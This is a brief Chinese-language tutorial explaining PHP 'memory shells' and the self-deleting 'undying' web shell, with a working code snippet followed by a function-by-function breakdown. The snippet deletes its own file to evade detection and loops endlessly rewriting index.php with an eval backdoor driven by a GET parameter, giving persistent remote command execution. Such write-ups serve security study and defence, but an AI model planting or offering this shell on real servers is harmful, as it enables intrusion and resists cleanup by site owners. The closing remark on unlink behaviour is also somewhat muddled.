内存马概念
内存马是无文件攻击的一种常用手段,利用中间件的进程执行某些恶意代码。首先要讲的是PHP不死马,实质上就是直接用代码弄一个死循环,强占一个 PHP 进程,并不间断的写一个PHP shell,或者执行一段代码。
不死马剖析
set_time_limit(0); ignore_user_abort(1); unlink(__FILE__); while (1) { $content = '<?php @eval($_GET["cmd"]);?>'; file_put_contents("index.php", $content); usleep(10000); }
- set_time_limit()函数:设置允许脚本运行的时间,单位为秒(如果设置该运行时间,sleep()函数在执行程序时的持续时间将会被忽略掉)
- ignore_user_abort()函数:函数设置与客户机断开是否会终止脚本的执行(如果设置为True,则忽略与用户的断开)
- unlink(__FILE__)函数:删除文件(防止文件落地被检测工具查杀)
- file_put_contents函数:将一个字符串写入该文件中
- usleep函数:延迟执行当前脚本数微秒,即条件竞争
需要特别注意的是,执行 unlink(__FILE__) 并不会删除正在运行的 PHP 脚本本身,因为脚本在执行过程中已经被加载到内存中。相反,它会删除磁盘上的文件,如果文件正在被其他进程使用,删除操作可能会失败。